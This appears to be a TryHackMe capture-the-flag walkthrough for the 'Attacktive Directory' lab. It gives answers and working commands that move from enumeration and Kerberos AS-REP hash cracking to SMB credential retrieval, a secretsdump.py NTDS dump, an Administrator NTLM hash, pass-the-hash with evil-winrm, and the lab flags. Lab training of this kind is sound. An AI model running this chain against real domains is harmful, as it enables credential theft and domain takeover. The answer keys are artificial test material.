

Attacktive Directory

Task 1 Intro Deploy The Machine

Done

Task 2 Intro Setup

Done

Task 3 Enumeration Welcome to Attacktive Directory

1.

What tool will allow us to enumerate port 139/445?

enum4linux

2. Use -flag of Nmap to detect the service: nmap -A 10.10.22.8

```
rdp-ntlm-info:
doTarget_Name: THM-AD
NetBIOS_Domain_Name: THM-AD
NetBIOS_Computer_Name: ATTACKTIVEDIREC
DNS_Domain_Name: spookysec.local
DNS_Computer_Name: AttacktiveDirectory.spookysec.local
Product_Version: 10.0.17763
System_Time: 2021-06-27T07:59:08+00:00
```

What is the NetBIOS-Domain Name of the machine?

THM-AD

3. The answer is “.local”

What invalid TLD do people commonly use for their Active Directory Domain?

.local

Correct Answer

Task 4 Enumeration Enumerating Users via Kerberos

svc-admin

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (S)

Kerberos 5 AS-REP etype 23

What mode is the hash?

18200

Now crack the hash with the modified password list provided, what is the user accounts password?

management2005

Task 6 Enumeration Back to the Basics

Use smbclient to map

```
(kali㉿kali)-[/opt/impacket/examples]
$ smbclient -L 10.10.22.8 --user svc-admin
Enter WORKGROUP\svc-admin's password:
ng?
Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
backup         Disk
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
SYSVOL         Disk      Logon server share
SMB1 disabled -- no workgroup available

(kali㉿kali)-[/opt/impacket/examples]
$ smbclient \\\\10.10.22.8\\backup --user svc-admin
Enter WORKGROUP\svc-admin's password:
Try "help" to get a list of possible commands.
smb: \> ls
ls
.                D          0   Sat Apr  4 15:08:39 2020
..               D          0   Sat Apr  4 15:08:39 2020
backup_credentials.txt A         48   Sat Apr  4 15:08:53 2020
```

Get File and decode by base64

What utility can we use to map remote SMB shares?

smbclient

Which option will list shares?

-L

How many remote shares is the server listing?

6

There is one particular share that we have access to that contains a text file. Which share is it?

backup

What is the content of the file?

YmFja3VwQHNB29reXNlYy5sb2NhbmDpiYWNrdXAyNTE3ODYw

Decoding the contents of the file, what is the full contents?

backup@spookysec.local:backup2517860

Task 7 Domain Privilege Escalation Elevating Privileges within the Domain

Using the backup account we can use another tool from Impacket this time called ‘secretsdump.py’, we will be able to get all the password hashes that this user account has access to.

- python3 secretsdump.py -just-dc backup@spookysec.local

Answer the questions below

What method allowed us to dump NTDS.DIT?

DRSUAPI

Correct Answer

What is the Administrators NTLM hash?

0e0363212e37b94221497260b0bcb4fc

Correct Answer

What method of attack could allow us to authenticate as the user without the password?

pass the hash

Correct Answer

Using a tool called Evil-WinRM what option will allow us to use a hash?

-h

Correct Answer

Task 8 Flag Submission Flag Submission Panel

Use evil-winrm

```
(kali㉿kali) - [~]  
$ evil-winrm -u administrator -H 0e0363212e37b94221497260b0bcb4fc -i 10.10.22.8
```

Answer the questions below

svc-admin

TryHackMe{K3rb3r0s_Pr3_4unth}

backup

TryHackMe{B4ckM3UpSc0tty! }

Administrator

TryHackMe{4ctiveD1rectoryM4st3r}